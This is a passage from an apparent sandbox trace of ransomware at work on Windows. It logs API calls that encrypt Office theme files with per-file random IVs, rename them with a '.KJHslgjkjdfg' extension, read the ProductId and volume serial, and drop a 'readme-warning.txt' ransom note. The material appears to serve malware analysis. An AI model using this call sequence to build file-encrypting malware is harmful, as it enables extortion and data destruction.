shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.187] GetProcessHeap () returned 0x2ef0000 [0189.187] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.187] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.187] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.188] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x2, lpOverlapped=0x0) returned 1 [0189.195] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.195] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.195] GetProcessHeap () returned 0x2ef0000 [0189.195] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.195] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0189.195] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.195] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0189.195] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.195] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.195] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.196] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.196] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.196] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.196] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.196] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.196] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xad0e, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xad0e, lpOverlapped=0x0) returned 1 [0189.199] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xad10, dwBufLen=0xad10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xad10) returned 1 [0189.199] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.200] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xad10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xad10, lpOverlapped=0x0) returned 1 [0189.200] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.200] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xade4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.200] SetEndOfFile (hFile=0x12c) returned 1 [0189.203] GetProcessHeap () returned 0x2ef0000 [0189.203] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.203] GetProcessHeap () returned 0x2ef0000 [0189.203] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.203] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0189.206] CloseHandle (hObject=0x12c) returned 1 [0189.206] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0189.206] GetProcessHeap () returned 0x2ef0000 [0189.206] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.206] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.206] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0189.207] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.207] GetProcessHeap () returned 0x2ef0000 [0189.207] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0189.207] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.207] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0189.207] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.207] GetProcessHeap () returned 0x2ef0000 [0189.207] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0189.207] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.207] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0189.207] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.207] GetProcessHeap () returned 0x2ef0000 [0189.207] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0189.207] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.207] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0189.207] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.207] GetProcessHeap () returned 0x2ef0000 [0189.207] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.207] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.207] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0189.207] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.208] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0189.208] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0189.208] RegCloseKey (hKey=0x12c) returned 0x0 [0189.208] GetProcessHeap () returned 0x2ef0000 [0189.208] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0189.208] GetProcessHeap () returned 0x2ef0000 [0189.208] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.208] GetProcessHeap () returned 0x2ef0000 [0189.208] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.208] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.208] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0189.208] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.208] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0189.208] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0189.209] GetProcessHeap () returned 0x2ef0000 [0189.209] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.209] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0189.209] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0189.209] GetProcessHeap () returned 0x2ef0000 [0189.209] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0189.209] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\readme-warning.txt") returned 83 [0189.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.209] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0189.210] CloseHandle (hObject=0x12c) returned 1 [0189.211] GetProcessHeap () returned 0x2ef0000 [0189.211] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0189.211] GetProcessHeap () returned 0x2ef0000 [0189.211] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0189.211] GetProcessHeap () returned 0x2ef0000 [0189.211] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0189.211] GetProcessHeap () returned 0x2ef0000 [0189.211] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.211] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0189.211] GetProcessHeap () returned 0x2ef0000 [0189.211] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0189.211] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0189.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.211] GetProcessHeap () returned 0x2ef0000 [0189.211] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.212] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0189.212] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0189.237] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0189.237] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.237] GetProcessHeap () returned 0x2ef0000 [0189.237] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0189.237] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0189.237] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0189.237] WriteFile (in: hFile=0x130, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0189.238] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0189.238] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0189.238] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0189.238] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0189.238] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0189.238] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0189.238] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.238] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.238] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1c6c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1c6c, lpOverlapped=0x0) returned 1 [0189.239] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c70, dwBufLen=0x1c70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c70) returned 1 [0189.239] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.239] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1c70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1c70, lpOverlapped=0x0) returned 1 [0189.240] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0189.240] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.240] SetEndOfFile (hFile=0x130) returned 1 [0189.242] GetProcessHeap () returned 0x2ef0000 [0189.242] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0189.242] GetProcessHeap () returned 0x2ef0000 [0189.242] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.242] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf.kjhslgjkjdfg")) returned 1 [0189.243] CloseHandle (hObject=0x130) returned 1 [0189.244] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WATER", cAlternateFileName="")) returned 1 [0189.244] GetProcessHeap () returned 0x2ef0000 [0189.244] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8c) returned 0x2f425d0 [0189.244] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0189.244] GetProcessHeap () returned 0x2ef0000 [0189.244] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0189.244] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0189.244] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0189.244] GetProcessHeap () returned 0x2ef0000 [0189.244] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28e) returned 0x2f10788 [0189.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.245] GetProcessHeap () returned 0x2ef0000 [0189.245] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.245] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.245] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.245] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.247] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.247] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.247] GetProcessHeap () returned 0x2ef0000 [0189.247] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.247] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0189.247] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.247] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0189.247] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.247] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.248] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.248] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.248] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.248] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, 